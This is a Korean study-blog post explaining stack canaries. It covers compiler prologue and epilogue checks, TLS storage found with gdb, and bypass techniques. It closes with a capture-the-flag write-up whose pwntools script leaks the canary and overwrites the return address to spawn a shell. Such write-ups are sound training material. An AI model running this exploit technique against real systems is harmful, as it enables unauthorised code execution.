TIL : Stack Canary 🐤
https://dreamhack.io/lecture/courses/112
Stack Canary
Stack canary는 function의 prologue에서 stack buffer와 return address 사이에 임의의 값을 삽입하고, function의 epilogue에서 해당 값이 변경되었는지를 확인하는 보호 기법이다.
Assembly 비교
Ubuntu 18.04의 gcc는 기본적으로 stack canary를 적용한다. compile option으로 -fno-stack-protector
를 추가하여 canary를 비활성화할 수 있다.
Canary를 비활성화한 경우와 활성화한 경우의 function prologue와 epilogue를 살펴보면 아래와 같다.
canary.asm
push rbp
mov rbp,rsp
sub rsp,0x10
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
xor eax,eax
lea rax,[rbp-0x10]
mov edx,0x20
mov rsi,rax
mov edi,0x0
call read@plt
mov eax,0x0
mov rcx,QWORD PTR [rbp-0x8]
xor rcx,QWORD PTR fs:0x28
je 0x6f0 <main+70>
call __stack_chk_fail@plt
leave
ret
no_canary.asm
push rbp
mov rbp,rsp
sub rsp,0x10
lea rax,[rbp-0x8]
mov edx,0x20
mov rsi,rax
mov edi,0x0
call read@plt
mov eax,0x0
leave
ret
Canary가 활성화될 경우, function prologue에서 stack 상의 rbp-0x8
에 fs:0x28
에 저장된 data를 넣고, function epilogue에서 이 값이 기존의 값과 같은지를 확인하는 과정을 가짐을 알 수 있다.
Canary 생성 과정
Canary는 process가 시작될 때 TLS에 전역 변수로 저장되고, 각 function의 prologue와 epilogue에서 이 값을 참조한다.
TLS의 주소 파악
fs
가 TLS를 가리키므로 fs
의 값을 알면 TLS의 주소를 알 수 있으나, fs
는 일반적인 방식으로 값을 알 수 없다. 대신, fs
의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr)
system call에 break point를 설정하여 fs
의 값을 알아볼 수 있다. (arch_prctl(ARCH_SET_FS, addr)
는 fs
의 값을 addr
로 설정한다.)
$ gdb -q ./canary
pwndbg> catch syscall arch_prctl
Catchpoint 1 (syscall 'arch_prctl' [158])
pwndbg> run
catchpoint에서 rsi의 값이 TLS의 값이고, fs
는 이를 가리키게 된다.
Catchpoint 1 (call to syscall arch_prctl), 0x00007ffff7dd6024 in init_tls () at rtld.c:740
740 rtld.c: No such file or directory.
► 0x7ffff7dd4024 <init_tls+276> test eax, eax
0x7ffff7dd4026 <init_tls+278> je init_tls+321 <init_tls+321>
0x7ffff7dd4028 <init_tls+280> lea rbx, qword ptr [rip + 0x22721]
pwndbg> info register $rdi
rdi 0x1002 4098 // ARCH_SET_FS = 0x1002
pwndbg> info register $rsi
rsi 0x7ffff7fdb4c0 140737354032320
pwndbg> x/gx 0x7ffff7fdb4c0+0x28
0x7ffff7fdb4e8: 0x0000000000000000
canary가 저장될 fs+0x28
에는 아직 어떠한 값도 저장되어있지 않다.
Canary 값 설정
gdb의 watch
명령어는 특정 주소에 저장된 값이 변경되면 process를 중단한다.
pwndbg> watch *(0x7ffff7fdb4c0+0x28)
Hardware watchpoint 4: *(0x7ffff7fdb4c0+0x28)
watchpoint에서 TLS+0x28의 값을 조회하면 canary의 값을 확인할 수 있다.
Canary의 첫 바이트는 일반적으로 \x00
이다. → attcker의 payload 내에 string의 terminator character 중 하나가 포함되면 거기서 입력이 끊어지는 점을 이용해 canary를 overwrite하는 것을 방지하기 위함임.
Canary 우회
Brute Force
x64 architecture에서는 8 byte의 canary가, x86 architecture에서는 4 byte의 canary가 생성된다. 각 canary에는 NULL byte가 포함되므로 실제로는 각각 7 byte, 3 byte의 random value가 포함된다. → 현실적으로 brute force로는 알아내기 힘들다.
TLS 접근
TLS의 주소는 매 실행마다 바뀌지만, 실행 중에 TLS의 주소를 알 수 있고 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 canary 값을 읽거나 변경할 수 있다. 그 뒤 stack buffer overflow를 일으킬 때 canary 값을 TLS에서 읽어낸 값 혹은 조작한 값으로 덮어 쓰면 canary 검사를 우회할 수 있다.
Stack canary leak
Stack 상의 canary를 읽을 수 있는 취약점이 있다면, 이를 이용한다.
- Buffer overflow를 통해 canary 내의 NULL byte만을 지워 canary에 접근해 canary를 읽고, 다시 buffer를 overwrite하여 canary의 값을 복구하여 canary 검사를 우회할 수 있다.
Wargame: ssp_001
문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
Vulnerability Scanning
Print the box 메뉴를 통해 canary에 접근할 수 있고, Exit 메뉴를 통해 stack buffer overflow를 일으킬 수 있다.
따라서 canary의 값을 우선 읽어내고, 이 canary의 값을 payload에 포함하여 canary와 return address를 원하는 값으로 overwrite한다.
Stack frame 구조 파악하기
gdb를 통해 memory의 구조를 파악하면, stack의 구조가 아래와 같음을 알 수 있다.
STACK (위쪽이 stack top) |
---|
box[0x40] |
name[0x40] |
CANARY (0x4 bytes) |
dummy data (0x4 bytes) |
SFP (0x4 bytes) |
RET (0x4 bytes) |
Shellcode
문제에서 get_shell()
함수가 주어지므로 gdb로 get_shell()
의 주소만 확인하면 된다. 이 과정 역시 exploit code에 포함할 수 있다. (후술)
Payload 구성하기
Stack frame의 구조에 맞추어 dummy data 0x80 bytes + 읽어낸 canary + dummy data 0x8 bytes + get_shell
의 address로 구성하면 된다.
Exploit
Menu 상의 print the box를 이용해 canary를 한 byte씩 읽어낼 수 있다. 이를 통해 canary를 획득한다. 이후 payload를 작성해 exploit한다.
from pwn import *
p = remote("host3.dreamhack.games", 14769)
#p = process("./ssp_001")
e = ELF("./ssp_001")
get_shell = e.symbols["get_shell"]
p.recvuntil("[E]xit")
p.sendline("P")
p.recvuntil("index : ")
p.sendline("131")
p.recvuntil(" is : ")
cnry = p.recvn(2)
p.recvuntil("[E]xit")
p.sendline("P")
p.recvuntil("index : ")
p.sendline("130")
p.recvuntil(" is : ")
cnry += p.recvn(2)
p.recvuntil("[E]xit")
p.sendline("P")
p.recvuntil("index : ")
p.sendline("129")
p.recvuntil(" is : ")
cnry += p.recvn(2)
cnry += b'00'
payload = b"A"*0x40 # | name | <= "A" * 0x40
payload += p32(int(cnry, 16)) # | Canary | <= Canary
payload += b"A"*0x8 # | SFP & dummy| <= "A" * 0x8
payload += p32(get_shell) # | Return addr| <= &get_shell
p.recvuntil("[E]xit")
p.sendline("E")
p.recvuntil("Name Size : ")
p.sendline(str(len(payload)))
p.recvuntil("Name : ")
p.sendline(payload)
p.interactive()
e = ELF("./ssp_001")
→ get_shell = e.symbols["get_shell"]
를 통해 gdb를 사용하지 않고서도 symbol의 주소를 알아낼 수 있다.
Leave a comment